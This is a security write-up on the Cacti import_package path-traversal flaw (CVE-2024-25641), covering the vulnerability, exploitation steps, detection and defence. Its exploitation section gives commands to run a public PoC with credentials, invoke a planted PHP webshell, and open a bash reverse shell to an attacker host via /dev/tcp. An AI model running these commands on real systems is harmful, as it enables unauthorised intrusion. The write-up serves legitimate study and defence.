Cacti RCE (CVE-2024-25641)

Cacti is a network-monitoring tool written in PHP. CVE-2024-25641 affects versions up to and including 1.2.26 and allows remote code execution by an authenticated user with the permission to import templates or "packages".

The flaw is in the import_package() function of lib/import.php. Cacti lets you import a package, an archive bundling templates and resources. The function blindly trusts the name and content of the included files: it neither validates the extension nor sanitises the destination path. Since the path also accepts path traversal sequences (../../../), an attacker can write an arbitrary file (typically a PHP webshell) into a location served by the web server, and then invoke it to run commands.

The exploitation flow is:

1. Authenticate to Cacti (the CVE requires a valid session; that is why it is usually chained with another path that leaks credentials, such as a prior SQLi).
2. Build a package whose file points, via ../, to the web root and contains PHP code.
3. Import it so Cacti writes the webshell.
4. Visit the webshell to obtain command execution (usually as www-data).

Public exploits automate the packaging, signing and upload; you just pass them the URL and the credentials.

Exploitation

searchsploit -m php/webapps/52001.py           # public import_package PoC
# the exploit writes a webshell and invokes it
python3 52001.py -t http://<host>/cacti -u admin -p <pass>
# manual: after importing the package, invoke the webshell written to the web root
curl "http://<host>/cacti/resource/rce.php?cmd=id"
curl "http://<host>/cacti/resource/rce.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<lhost>/<lport>+0>%261'"

Caveat. The authentication requirement narrows the impact: without valid credentials (or a user with the import permission) it is not directly exploitable. In practice the value lies in chaining it with prior access. Confirm the exact version (shown in the Cacti login footer) before launching the exploit.

How to detect it. The chain is visible in the log: an authenticated user invoking package import (import.php/import_package) with an archive whose internal names contain ../ toward the web root, followed by the appearance of a new .php outside the templates directory (a FIM catches it). Later execution shows as a request to that webshell returning command output and as the web process (www-data) spawning sh/bash as a child. A template import that writes a .php is inconsistent with the legitimate function and is the direct signature.

Defence. Update Cacti to a patched version (later than 1.2.26); restrict who can import templates; and, in general, never trust the names or contents of uploaded files (validate extension and path, write outside the web root). Related to file-upload RCE as an attack family.